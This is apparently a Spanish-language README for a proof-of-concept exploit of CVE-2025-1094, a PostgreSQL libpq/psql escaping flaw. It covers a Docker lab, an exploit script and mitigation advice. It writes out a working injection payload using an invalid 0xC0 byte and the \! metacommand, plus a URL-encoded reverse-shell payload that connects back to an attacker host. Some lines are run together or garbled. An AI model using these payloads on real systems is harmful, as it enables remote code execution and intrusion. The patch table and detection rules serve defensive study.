
Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación.
Prueba de concepto para la vulnerabilidad crítica de inyección SQL en el cliente libpq de PostgreSQL y la herramienta psql
CVE-2025-1094 es una vulnerabilidad crítica en la biblioteca cliente libpq y la herramienta de línea de comandos psql de PostgreSQL. Esta vulnerabilidad permite a un atacante realizar inyección SQL y escalar a ejecución remota de código (RCE) incluso cuando la aplicación ha usado funciones de escape de cadenas estándar como .
PQescapeLiteralEl error surge de la inconsistencia en el manejo de cadenas de bytes multibyte no válidos (como UTF-8) entre la biblioteca de escape y el analizador sintáctico de psql.
1. Bypass de escape
PQescapeLiteral es engañada por un "byte nuevo" (por ejemplo 0xC0)') adjunta son un único carácter2. RCE a través de metacomandos
\! de psqlEl proyecto está organizado para simular un entorno realista al llamar a la función C libpq:
.
├── docker-compose.yml # Inicia PostgreSQL + App Web
├── exolit.py # Script de explotación - Ataque desde el exterior
├── README.md # Este documento
└── app/
├── app.py # Aplicación web Flask - Recibe entrada del usuario
├── Dockerfile # Construye imagen con código vulnerable
└── init_db.sql # Inicializa la base de datos
/search\!hax\xc0'; \! id; #
| Componente | Valor | Significado |
|---|---|---|
| Data input | hax | Datos normales |
| Byte nuevo | \xc0 | Byte UTF-8 no válido - bypass de escape |
| Comilla | ' | Comilla simple "invisible" - elude el filtro |
| Fin SQL | ; | Finaliza la sentencia SQL actual |
| Metacomando | \! | Comando especial de psql - sale al shell del sistema operativo |
| Comando shell | id | Comando a ejecutar (puede reemplazarse por una reverse shell) |
| Comentario | # | Marca de comentario SQL - desactiva el resto |
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() no reconoce \xc0 + ' como un ataque
↓
3. La cadena se envía a psql: hax\xc0'; \! id; #
↓
4. psql analiza: la parte \xc0 se considera como fin de cadena
↓
5. El metacomando \! se activa
↓
6. El comando shell id se ejecuta con los permisos del contenedor
docker-compose up -d
docker-compose ps
Asegúrese de que tanto PostgreSQL como la aplicación Flask estén en ejecución.
python exolit.py
Resultado esperado: Mostrará la información uid=0(root) obtenida del servidor
docker-compose down
Envíe una petición POST a /search con el siguiente body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (byte UTF-8 no válido)%27 = ' (comilla simple)%23 = # (signo de almohadilla)+ = espaciohax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Nota: Reemplace <ip-hacker> y <port-hacker> con la IP y el puerto de la máquina del atacante
Actualice PostgreSQL a las versiones parcheadas:
| Versión | Versión segura |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Siempre valide que los datos de entrada sean UTF-8 válido antes de procesarlos:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
En la programación de aplicaciones, utilice las bibliotecas de controladores oficiales:
# ❌ NO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ SÍ: Usar consultas parametrizadas con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootConfigure reglas para detectar patrones:
- Byte 0xC0, 0xC1 en el cuerpo de la petición
- Metacomando `\!` en la entrada del usuario
- Cadenas como `; \!` o `' \!`
Enlace al archivo fuente (Antes del parche) Puede ver el archivo src/interfaces/libpq/fe-exec.c en la versión 17.2 (versión aún vulnerable):
Ver "El Parche" (The Patch) - Lo más importante para White-box Para entender por qué ocurrió el error y cómo lo corrigieron, la mejor manera es ver el Commit Diff (el cambio entre la versión vulnerable y el parche).
Análisis de la vulnerabilidad : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/